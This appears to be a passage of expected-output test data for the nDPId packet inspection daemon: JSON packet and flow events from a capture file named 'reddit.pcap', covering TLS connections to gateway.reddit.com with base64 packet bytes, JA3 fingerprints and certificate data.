+00457{"flow_id":42,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5625,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":963152,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gAjZHACAGQCoBywEgSYsHmR3shSjf9ikqABRQQAcIDAAAAAAAACADuMYBu5\/VqgD6dfW+gBAB8l5OAAABAQgKN\/P38MLXQ84="} +00457{"flow_id":42,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5626,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":963157,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gAjZHACAGQCoBywEgSYsHmR3shSjf9ikqABRQQAcIDAAAAAAAACADuMYBu5\/VqgD6dfbLgBAB8F1DAAABAQgKN\/P38MLXQ84="} +00456{"flow_id":43,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5627,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":963159,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gC3ZcACAGQCoBywEgSYsHmR3shSjf9ikqABRQQAcIDAAAAAAAACADuMgBu1ulI9w\/JWj9gBAB9XCwAAABAQgKN\/P38MLXQ84="} +00457{"flow_id":43,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5628,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":963162,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gC3ZcACAGQCoBywEgSYsHmR3shSjf9ikqABRQQAcIDAAAAAAAACADuMgBu1ulI9w\/JW21gBAB8mv7AAABAQgKN\/P38MLXQ84="} +00457{"flow_id":43,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5629,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":963165,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gC3ZcACAGQCoBywEgSYsHmR3shSjf9ikqABRQQAcIDAAAAAAAACADuMgBu1ulI9w\/JW7CgBAB8GrwAAABAQgKN\/P38MLXQ84="} +00544{"flow_id":41,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5632,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":974859,"pkt_caplen":150,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":150,"pkt_l4_len":96,"pkt":"qtsDr8lk5EKm5WPyht1gDPOvAGAGQCoBywEgSYsHmR3shSjf9ikqABRQQAcIFQAAAAAAACAWzEgBu0zLvfIr0cm+gBgB9UKHAAABAQgKRJp1VsLXQ9QUAwMAAQEXAwMANSQF9LAxFquz90lsA+3Bn1jOTlFW\/zyg43dEw+G6xOIF77JK5E\/qWe8aImWD\/qGb5Bi1Tl+e"} +00546{"flow_id":42,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5633,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":975746,"pkt_caplen":150,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":150,"pkt_l4_len":96,"pkt":"qtsDr8lk5EKm5WPyht1gAjZHAGAGQCoBywEgSYsHmR3shSjf9ikqABRQQAcIDAAAAAAAACADuMYBu5\/VqgD6dfbLgBgB9WtZAAABAQgKN\/P3\/MLXQ84UAwMAAQEXAwMANag\/zot3eO2xQUGPM6bVrD+vsIB02CvxdTsR8l7fF2zwPAX2HEW535Yri2kq\/gyqka03EszC"} +00548{"flow_id":43,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5634,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":976372,"pkt_caplen":150,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":150,"pkt_l4_len":96,"pkt":"qtsDr8lk5EKm5WPyht1gC3ZcAGAGQCoBywEgSYsHmR3shSjf9ikqABRQQAcIDAAAAAAAACADuMgBu1ulI9w\/JW7CgBgB9aZCAAABAQgKN\/P3\/cLXQ84UAwMAAQEXAwMANbUf01yQTavdZEcoPfGW3YGfmMqFlu\/\/PwheKuZvuCwsVVD\/0YptIUsRmnVW+hu81Lrqh\/nb"} +00458{"flow_id":43,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5636,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":976577,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gC3ZcACAGQCoBywEgSYsHmR3shSjf9ikqABRQQAcIDAAAAAAAACADuMgBu1ulJBw\/JW7CgBEB9WqdAAABAQgKN\/P3\/cLXQ84="} +00585{"flow_id":41,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5637,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":976610,"pkt_caplen":178,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":178,"pkt_l4_len":124,"pkt":"qtsDr8lk5EKm5WPyht1gDPOvAHwGQCoBywEgSYsHmR3shSjf9ikqABRQQAcIFQAAAAAAACAWzEgBu0zLvjIr0cm+gBgB9eg5AAABAQgKRJp1WMLXQ9QXAwMAV4XUA8y\/H3rV3I7A+4+L3+6xTIDkH3fhQx0Sg72p0g9WgvejHYF0uMsIVfg6aVnEoGaa6YMGbB8R0N7hoUjdx8L+Tc\/+DVxCs5pFlZAihihNoS\/XgXDNzQ=="} +00588{"flow_id":42,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5638,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":976672,"pkt_caplen":178,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":178,"pkt_l4_len":124,"pkt":"qtsDr8lk5EKm5WPyht1gAjZHAHwGQCoBywEgSYsHmR3shSjf9ikqABRQQAcIDAAAAAAAACADuMYBu5\/VqkD6dfbLgBgB9YiaAAABAQgKN\/P3\/cLXQ84XAwMAV9gbbZns+ezhodF9W5kAdJPIX+uM60i\/xfsqUHL4Us2BItuyjw2dFWYGEgZku9XHLH1EkgI+lba9OoQXHPNKqfo5waZIyAQx\/WM2t2\/NmGuPFdtka9wbMw=="} +00868{"flow_id":41,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5639,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":976798,"pkt_caplen":389,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":389,"pkt_l4_len":335,"pkt":"qtsDr8lk5EKm5WPyht1gDPOvAU8GQCoBywEgSYsHmR3shSjf9ikqABRQQAcIFQAAAAAAACAWzEgBu0zLvo4r0cm+gBgB9fwpAAABAQgKRJp1WMLXQ9QXAwMBKmAOORkVWjvJC\/+Bh28LIPleVhCL4+OL6Q7So3eAPyMAOaH7MtZpTv2f1uP7hJYkded\/HWJknwsOOxWE51ZAGjxqDuyS2Vt1NsA167fvegyJRGW\/McyTHthmZutbD+eLTN\/eGPylWeRlkjQwyhiV2s9126oRErYRrLuT0WPUjLONPHqIHBqIUZ2DgOx7V8FrBaeGl+cxryrNW9hSYdbdGf9uomfBBaMZ4uhJ84c\/dCzYcrlYLBzRJ1Beq6\/QEBTQI+heyw96HLEIOLbLZzLtZFgbPdBAGf0iXuo5qpQRcXNcW5a6Nm7D+FhMCtP+QS5YAJkh+rgvV+tGhQbiTkTQMIBj0MhqRan3p8T7hYqR22LGd9TTDWTNij6ah0EgcX0JZH4R+5BxoaJ+Eyw="} +00869{"flow_id":42,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5640,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":976846,"pkt_caplen":387,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":387,"pkt_l4_len":333,"pkt":"qtsDr8lk5EKm5WPyht1gAjZHAU0GQCoBywEgSYsHmR3shSjf9ikqABRQQAcIDAAAAAAAACADuMYBu5\/Vqpz6dfbLgBgB9Xy+AAABAQgKN\/P3\/cLXQ84XAwMBKFjjlOEI+HT7CLAtHLdlthUiHhL+CKsB2d9aUWiqJ4fgJYXW0MF0\/VyuWkQp+lilxA3WpMN7q\/A7KXi7yQiyLgj0rjZGA9+8TM6C6pROtCsYVkmMIUiro+NhJvGlxdkj5TH6WK9+Z3kaa3G62qfSWFTO4jHZRqqEAw4c2MPGG0TgORHd9FuF29Ny+gzh+co5ziRc8Z0yadY92rUsvppdNKJmzHycBZKdF54VOvd4pVkIWqvOgheEPAid7NHx3sBQfLtH5W2Dnh\/UD7WDqiYEe9dOci+viE\/bNCGFj+Gm1Nkd\/3fUc8sBo4xt3UNmtBePFC8ft\/GD6S\/PIpJpQv\/X9um3R8u50EA+XhjyQPxUW92MwND7kRbJ7XkxMjPLoEOjPY49qEVQcqKx"} +00571{"flow_id":42,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5641,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":977019,"pkt_caplen":167,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":167,"pkt_l4_len":113,"pkt":"qtsDr8lk5EKm5WPyht1gAjZHAHEGQCoBywEgSYsHmR3shSjf9ikqABRQQAcIDAAAAAAAACADuMYBu5\/Vq8n6dfbLgBgB9e5VAAABAQgKN\/P3\/cLXQ84XAwMATEURRg2y7c4DOFmEgEKFboIMyKQIBVehNZ0+V9Dl\/5oq+kmXaTN0jgajODmhaoPq4MRH6Ny0DoOV3\/IyV6g+ZrLODZm4PKlLUTtbuPE="} +00455{"flow_id":43,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5645,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291689,"pkt_ts_usec":4303,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPSoAFFBABwgMAAAAAAAAIAMqAcsBIEmLB5kd7IUo3\/YpAbu4yD8lbsJbpSQcgBALOGENAAABAQgKwtdEHDfz9\/0="} +00455{"flow_id":43,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5650,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291689,"pkt_ts_usec":4726,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPSoAFFBABwgMAAAAAAAAIAMqAcsBIEmLB5kd7IUo3\/YpAbu4yD8lbsJbpSQdgBALOGEMAAABAQgKwtdEHDfz9\/0="} +00454{"flow_id":41,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5651,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291689,"pkt_ts_usec":4726,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPSoAFFBABwgVAAAAAAAAIBYqAcsBIEmLB5kd7IUo3\/YpAbvMSCvRyb5My74ygBALOPCMAAABAQgKwtdEHESadVY="} +00507{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":7094,"source":"reddit.pcap","alias":"nDPId-test","flow_id":44,"flow_packet_id":1,"flow_first_seen":1605291689408,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::9765:798c","src_port":56640,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00466{"flow_id":44,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7094,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291689,"pkt_ts_usec":408040,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"qtsDr8lk5EKm5WPyht1gCYSFACgGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3UABuxOPoYYAAAAAoAL9IMRnAAACBAWgBAIICql08xMAAAAAAQMDBw=="} +00468{"flow_id":44,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7110,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291689,"pkt_ts_usec":433785,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACgGPQBk\/5sAAAAAAAAAAJdleYwqAcsBIEmLB5kd7IUo3\/YpAbvdQHZ86cETj6GHoBJXgAFCAAACBAV4AQMDAwQCCArC10XLqXTzEw=="} +00454{"flow_id":44,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7111,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291689,"pkt_ts_usec":433808,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gCYSFACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3UABuxOPoYd2fOnCgBAB+4U5AAABAQgKqXTzLcLXRcs="} +01147{"flow_id":44,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7112,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291689,"pkt_ts_usec":434011,"pkt_caplen":603,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":603,"pkt_l4_len":549,"pkt":"qtsDr8lk5EKm5WPyht1gCYSFAiUGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3UABuxOPoYd2fOnCgBgB++8gAAABAQgKqXTzLcLXRcsWAwECAAEAAfwDA6RBXFL39VgIijsWwJFOltTc3vBqkkKxNvmogVMM7+5TILt5Vv+iuY3iWQRNNnRaBO\/M2VarJ+AOmhROa9hHR21oACDKyhMBEwITA8ArwC\/ALMAwzKnMqMATwBQAnACdAC8ANQEAAZNqagAAAAAAFwAVAAASZ2F0ZXdheS5yZWRkaXQuY29tABcAAP8BAAEAAAoACgAImpoAHQAXABgACwACAQAAIwAAABAADgAMAmgyCGh0dHAvMS4xAAUABQEAAAAAAA0AEgAQBAMIBAQBBQMIBQUBCAYGAQASAAAAMwArACmamgABAAAdACALvUrkozxMntRnju+5MswRTyImrHAw8nJkdOYI+WcPaQAtAAIBAQArAAsKamoDBAMDAwIDAQAbAAMCAAJaWgABAAAVAMoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00830{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":7112,"source":"reddit.pcap","alias":"nDPId-test","flow_id":44,"flow_packet_id":4,"flow_first_seen":1605291689408,"flow_last_seen":1605291689434,"flow_tot_l4_data_len":661,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":165,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::9765:798c","src_port":56640,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Reddit","breed":"Fun","category":"SocialNetwork"},"tls": {"version":"TLSv1.2","client_requested_server_name":"gateway.reddit.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +00456{"flow_id":44,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8668,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291689,"pkt_ts_usec":577974,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPQBk\/5sAAAAAAAAAAJdleYwqAcsBIEmLB5kd7IUo3\/YpAbvdQHZ86cITj6OMgBALMHnhAAABAQgKwtdF6al08y0="} +01863{"flow_id":44,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8671,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291689,"pkt_ts_usec":577976,"pkt_caplen":1134,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1134,"pkt_l4_len":1080,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABDgGPQBk\/5sAAAAAAAAAAJdleYwqAcsBIEmLB5kd7IUo3\/YpAbvdQHZ86cITj6OMgBgLMOTMAAABAQgKwtdF66l08y0WAwMAUgIAAE4DAzbEcDzipdFJow9Sjt3Ol1\/99I+f0oISr0qo+zF3ck85AMAvAAAm\/wEAAQAAAAAAAAsABAMAAQIAIwAAAAUAAAAQAAUAAwJoMgAXAAAWAwMK0QsACs0ACsoABiwwggYoMIIFEKADAgECAhANHffE8Agd\/Q1A66O6NFNxMA0GCSqGSIb3DQEBCwUAME0xCzAJBgNVBAYTAlVTMRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxJzAlBgNVBAMTHkRpZ2lDZXJ0IFNIQTIgU2VjdXJlIFNlcnZlciBDQTAeFw0yMDA4MjYwMDAwMDBaFw0yMTAyMjIxMjAwMDBaMGcxCzAJBgNVBAYTAlVTMRMwEQYDVQQIEwpDYWxpZm9ybmlhMRYwFAYDVQQHEw1TYW4gRnJhbmNpc2NvMRQwEgYDVQQKEwtSZWRkaXQgSW5jLjEVMBMGA1UEAwwMKi5yZWRkaXQuY29tMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAz+maVKOkGuIpLUWBcrOoi0zOK7ui1z2eaWzzMtForAMdGnBV+IZaQtyQ5++Gfv1TbOrAOKUntMp6luNeClruZSCzltfkOpk9eHJ9XWEUPrpFFCLbBVu91sl0EYvdWsplUlEgilO1zdDXr0UiyU0ptz14arWfA79ESEjl3EMIcCgfAumn5d9uOQEkbOWAogF0Ed53rsoVVQoW+HVFVqdUlQ0boiQBdec9lKKDB8DbAEfdCC45zVjGzA8Hhw4fmx1l4AlDqP2tLE2qNm2GhXjctrmexVjFG2t4nyihXllf92wvsEEGRZ8X9pxVJTd\/tfteIXPbe+u5DIE1ApPYcpfCBwIDAQABo4IC6DCCAuQwHwYDVR0jBBgwFoAUD4BhHIIxYdUvKOeNRji0LOHG2eIwHQYDVR0OBBYEFHHgUNHngFL7IxRlnUOnjTGqVmkmMCMGA1UdEQQcMBqCCnJlZGRpdC5jb22CDCoucmVkZGl0LmNvbTAOBgNVHQ8BAf8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMGsGA1UdHwRkMGIwL6AtoCuGKWh0dHA6Ly9jcmwzLmRpZ2ljZXJ0LmNvbS9zc2NhLXNoYTItZzYuY3JsMC+gLaArhilodHRwOi8vY3JsNC5kaWdpY2VydC5jb20vc3NjYS1zaGEyLWc2LmNybDBMBgNVHSAERTBDMDcGCWCGSAGG\/WwBATAqMCgGCCsGAQUFBwIBFhxodHRwczovL3d3dy5kaWdpY2VydC5jb20vQ1BTMAgGBmeBDAECAjB8BggrBgEFBQcBAQRwMG4wJAYIKwYBBQUHMAGGGGh0dHA6Ly9vY3NwLmRpZ2lj"} +00886{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":8671,"source":"reddit.pcap","alias":"nDPId-test","flow_id":44,"flow_packet_id":6,"flow_first_seen":1605291689408,"flow_last_seen":1605291689577,"flow_tot_l4_data_len":1773,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1080,"flow_avg_l4_data_len":295,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::9765:798c","src_port":56640,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Reddit","breed":"Fun","category":"SocialNetwork"},"tls": {"version":"TLSv1.2","client_requested_server_name":"gateway.reddit.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"16c0b3e6a7b8173c16d944cfeaeee9cf","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +01874{"flow_id":44,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8673,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291689,"pkt_ts_usec":577976,"pkt_caplen":1134,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1134,"pkt_l4_len":1080,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABDgGPQBk\/5sAAAAAAAAAAJdleYwqAcsBIEmLB5kd7IUo3\/YpAbvdQHZ87doTj6OMgBgLMLNUAAABAQgKwtdF66l08y1lcnQuY29tMEYGCCsGAQUFBzAChjpodHRwOi8vY2FjZXJ0cy5kaWdpY2VydC5jb20vRGlnaUNlcnRTSEEyU2VjdXJlU2VydmVyQ0EuY3J0MAwGA1UdEwEB\/wQCMAAwggEFBgorBgEEAdZ5AgQCBIH2BIHzAPEAdgD2XJQv0XcwIhRUGAgwlFaO400TGTO\/3wwvIAvMTvFk4wAAAXQrSzGvAAAEAwBHMEUCIA4cEDk5PHlewpHzj26HOiQYpOqP2omD5+Ok3XvOGjvLAiEAscSe5jGq7+A1eA9CosURVXiFG10O2uG7a3d0exugn8YAdwBc3EOS\/uarRUSxXprUVuYQN\/vV+kfcoXOUsl7m9scOygAAAXQrSzHWAAAEAwBIMEYCIQCxbG96NckU2JDBIgJPBbdq8isaryVs6CFbEIVpmICYFgIhAK4\/cwv3QOvL6\/r1eBSuNjH8ea1wkWPPafYHa\/T2zS4cMA0GCSqGSIb3DQEBCwUAA4IBAQDJdKHctElcuqyCkmp8mpTUGkGnB3LVzx6AlsMpQm1P2E\/FO7nlknf9cCDmw9zsWs4Vwy0WyWm2VITQHFibHvPRL9Dqdq57g8bbFomQLOayWwM4ymsEk1sOwkg9GmGUttJoxtFhWMTaKNgiwa1KzMnOenD0aOCisNjqYwuAwjXNR4prj\/NaGsDOdAIquq\/5ysyZ9ZTflWiVnQbilOt4e\/blGzRhaSd4gTYdYkgV\/84UmKwjSekYiL2ioVV1mVoDRtSfMV9CdwjyekkC849Oi21tKfCnsyl+9Ipp3oESKGdNZ5966KOZhQo0yght\/ROeeRQR8c5vS0fKeKnkHGBz240cAASYMIIElDCCA3ygAwIBAgIQAf2j627KdciIQ4tyS8+8kTANBgkqhkiG9w0BAQsFADBhMQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNlcnQuY29tMSAwHgYDVQQDExdEaWdpQ2VydCBHbG9iYWwgUm9vdCBDQTAeFw0xMzAzMDgxMjAwMDBaFw0yMzAzMDgxMjAwMDBaME0xCzAJBgNVBAYTAlVTMRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxJzAlBgNVBAMTHkRpZ2lDZXJ0IFNIQTIgU2VjdXJlIFNlcnZlciBDQTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBANyuWJBNwcQwFZA1W248ghX1LFy949v\/cUP6ZCWA1O4Yok3wZtAKc24RmDYXZK83nf36QYSvx6+M\/hpzTc8zl5CilodTgyu5pnVILR1WN3vaMTIa16yrBvSqXUu3R0bdKpPDkC55gIDvEwRqFDu1m5K+wgdlTvza\/P96"} +00454{"flow_id":44,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8676,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291689,"pkt_ts_usec":578008,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gCYSFACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3UABuxOPo4x2fO3agBAB9X5yAAABAQgKqXTzvcLXRes="} +00454{"flow_id":44,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8677,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291689,"pkt_ts_usec":578012,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gCYSFACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3UABuxOPo4x2fPHygBAB83pcAAABAQgKqXTzvcLXRes="} +01869{"flow_id":44,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8678,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291689,"pkt_ts_usec":578047,"pkt_caplen":1134,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1134,"pkt_l4_len":1080,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABDgGPQBk\/5sAAAAAAAAAAJdleYwqAcsBIEmLB5kd7IUo3\/YpAbvdQHZ88fITj6OMgBgLMCvaAAABAQgKwtdF66l08y2u3Fx+VTEM6DkHpNe+L9MLatKx31\/+V3RTOzWA3a6ORJiznw7T2uDX9Gspq0SnS1iEbZJLgcPac4sSl0iQBEV1Gt03MZeS6M1UDTvkwT85Xi6481x+EI6GQQCNRWZHsKFlzqCqKQlO85fr6C6rD3KnMA76x\/T9FHfDpFsoV8Kz+YL9t0VYmwIDAQABo4IBWjCCAVYwEgYDVR0TAQH\/BAgwBgEB\/wIBADAOBgNVHQ8BAf8EBAMCAYYwNAYIKwYBBQUHAQEEKDAmMCQGCCsGAQUFBzABhhhodHRwOi8vb2NzcC5kaWdpY2VydC5jb20wewYDVR0fBHQwcjA3oDWgM4YxaHR0cDovL2NybDMuZGlnaWNlcnQuY29tL0RpZ2lDZXJ0R2xvYmFsUm9vdENBLmNybDA3oDWgM4YxaHR0cDovL2NybDQuZGlnaWNlcnQuY29tL0RpZ2lDZXJ0R2xvYmFsUm9vdENBLmNybDA9BgNVHSAENjA0MDIGBFUdIAAwKjAoBggrBgEFBQcC